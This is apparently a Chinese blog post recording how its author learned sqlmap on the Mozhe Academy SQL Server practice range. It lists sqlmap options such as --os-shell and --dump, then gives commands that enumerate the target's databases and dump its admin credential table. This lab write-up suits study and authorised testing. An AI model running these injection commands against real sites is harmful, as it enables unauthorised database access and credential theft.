sqlmap是一款可以用于sql注入的工具,我们来浅浅记录一下工具的学习。渗透注入需要用到的工具不少,但是学习的过程大同小异,所以养成总结的好习惯,在接下来的学习重会更轻松。
贴一下参数详解,命令行输入sqlmap -h查看支持的参数:
贴一些用的比较多的参数详解:
-u 指定目标URL (可以是http协议也可以是https协议) -d 连接数据库 --dbs 列出所有的数据库 --current-db 列出当前数据库 --tables 列出当前的表 --columns 列出当前的列 -D 选择使用哪个数据库 -T 选择使用哪个表 -C 选择使用哪个列 --dump 获取字段中的数据 --batch 自动选择yes --smart 启发式快速判断,节约浪费时间 --forms 尝试使用post注入 -r 加载文件中的HTTP请求(本地保存的请求包txt文件) -l 加载文件中的HTTP请求(本地保存的请求包日志文件) -g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试 -o 开启所有默认性能优化 --tamper 调用脚本进行注入 -v 指定sqlmap的回显等级 --delay 设置多久访问一次 --os-shell 获取主机shell,一般不太好用,因为没权限 -m 批量操作 -c 指定配置文件,会按照该配置文件执行动作 -data data指定的数据会当做post数据提交 -timeout 设定超时时间 --level 设置注入探测等级 --risk 风险等级 --identify-waf 检测防火墙类型 --param-del="分割符" 设置参数的分割符 --skip-urlencode 不进行url编码 --keep-alive 设置持久连接,加快探测速度 --null-connection 检索没有body响应的内容,多用于盲注 --thread 最大为10 设置多线程
结合之前已经手工注入过的靶场,我们用sqlmap来学习一下sqlmap的使用。
靶场是墨者学院sqlserver手工注入靶场。
首先进行url注入点检测,用到的命令为:
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2(-u是指定url)
过程中可能会跳出一点提示,比如:
这个是说木有设置cookie是否设置啥的,由于我访问的是搭建好的靶场,所以会问一下。
只要输入y就好啦。
看看命令运行的结果:
这个返回结果是说存在的sql注入的类型,sqlmap支持的有五种:基于时间盲注、基于布尔盲注、基于报错的注入、联合查询注入、堆查询注入。
这个注入点存在的有:基于时间盲注、基于布尔盲注、联合查询注入、堆查询注入。
数据库注入找登录的管理员数据,首先找到在哪个数据库哪个数据表然后获取数据。根据参数组合一下试试。
列出所有数据库:
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2 --dbs
列举一下当前的数据库:
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2 --current-db
查询数据库中的表名:
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2 --tables(这一条会列出各个数据库中所有的表,有点多,咱们也可以指定数据库)
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2 -D mozhe_db_v2 --tables
announcement表应该是通知显示的表,manage表说不定存了管理员的账号密码。
但是我还是想先看看 announcement表的所有的数据,咱们先爆一下列名。
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2 -T announcement --columns
有四列,我们爆一下这个表里面所有的数据。
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2 -T announcement --dump
就一条通知。咱们再来看看manage表:
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2 -T manage --columns
有账号密码,咱们也来爆一下这个表里面的所有的数据。
sqlmap -u http://219.153.49.228:42814/new_list.asp?id=2 -T manage --dump --batch(batch参数遇到问选不选y就会自动选y了)
看看结果:
由于我们这次只记录sqlmap学习,就不验证靶场了,累了,每次都得去解密。家人们如果你们要解密的话随便搜一个就行,好像有自动识别是哪个加解密的,我也不太记得是不是md5了。